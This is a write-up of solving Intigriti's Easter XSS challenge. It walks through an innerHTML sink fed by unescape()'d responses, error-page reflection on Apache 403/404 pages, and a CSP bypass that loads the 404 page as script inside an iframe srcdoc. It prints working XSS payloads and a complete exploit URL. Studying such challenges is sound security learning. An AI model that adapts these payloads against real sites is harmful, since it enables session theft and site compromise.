Hey all,

On March 13th I was doing some boring college assignments then I opened Twitter to check what’s new, then I saw that Intigriti was hosting “Easter XSS Challenge” I said let’s give it a shot.

Here is a screenshot of the main challenge page:

xss

The rules are clear so we don’t need to explain them.

First Try

First, I checked the page source code:

xss

Nothing interesting in the HTML code but this script (obviously duh!).

The script.js file contains the following JS code:

var hash = document.location.hash.substr(1);
if(hash){
  displayReason(hash);
}
document.getElementById("reasons").onchange = function(e){
  if(e.target.value != "")
    displayReason(e.target.value);
}
function reasonLoaded () {
    var reason = document.getElementById("reason");
    reason.innerHTML = unescape(this.responseText);
}
function displayReason(reason){
  window.location.hash = reason;
  var xhr = new XMLHttpRequest();
  xhr.addEventListener("load", reasonLoaded);
  xhr.open("GET",`./reasons/${reason}.txt`);
  xhr.send();
}

What this code does in steps:

1- It checks if the hash property is set in the location object.

2- Then it sends an XHR request to the selected value (file).

3- It reads and prints the response to the page.

The line 11 is the solution to this XSS challenge, wait, is it that easy?

The page sets the innerHTML of the div to a value that has been through unescape() so URL-encoding could be bypassed.

Let’s do it and send a request to 404 page. I wrote https://challenge.intigriti.io/#test and clicked enter:

xss

Our filename was reflected in the response so we only need to write <img src=x onerror=alert(1)> as the filename and things gonna work out!

xss

As I expected it is not that easy! the 404 page encode the filename with percentage-encoding and removes % char from the response!

I tried to play with the 404 page and insert some random texts and chars but to no avail, it seems like a dead-end.

Second Round

I fingerprinted the server to check if it is a server related issue, the HTTP response header included server: Google Frontend but that isn’t the real HTTP server this is a google app engine response header. I just did it manually since Nmap will give the same output server: Google Frontend.

I send a very long filename in order to trigger a 4xx error and the result was:

xss

So this is an Apache server we need to trigger an error page that can respond with the URL, hmmm.

We only have control over 4xx pages since we can’t see 404 we need a 403 error page.

We can get a 403 page if we tried to access .htaccess or server-status, but the content of the URL is escaped so we gonna see HTML-entities.

xss

We can write our payload as percentage encoding which is accepted and will be written as it is.

We have to double encode <img src=x onerror=alert(1)> since we are sending it from another page. After encoding it will be %253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E.

We need to be in the website root so we need ../server-status?%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E

xss

Well, it works! but I forgot the CSP because it was too small and I didn’t notice it :D

content-security-policy: default-src 'self'

After I saw this I dropped all the XSS payloads in the bin because we need to insert a script from inside this origin!

Furthermore, <script> tag can’t be executed using innerHTML, why? -> reason

So here is one of the tricks to executing <script> tag with innerHTML using <iframe> with the srcdoc attribute which specifies the HTML content of the page to show in the inline frame. But the biggest question from where we can upload script to this host! that’s impossible.

Last Round

We can’t use the 403 as a script since it is not valid JS. But wait! what about the custom 404 page! it seems legit JS.

404 - 'File "test" was not found in this folder.'

We have control over test string, we need to make it valid JS. Instead of test we must replace it with ';alert(1);'

404 - 'File "'; // 404 - 'string' = NaN
alert(1); // pew pew pew 
'" was not found in this folder.' // string is vaild JS

xss

Great!

Now all in one

https://challenge.intigriti.io/#..//server-status/?%253Ciframe%2520srcdoc%253D%2527%253Cscript%2520src%253D%2522x%252527%253Balert(document.domain)%253B%252527%2522%253E%253C%252Fscript%253E%2527%253E%253C%252Fiframe%253E%250A

xss

The challenge was super fun! I had fun (kudos Intigriti) it took me less than an hour to solve it out, I submitted my solution after that and it was confirmed. I hope you learned something and good luck with future challenges.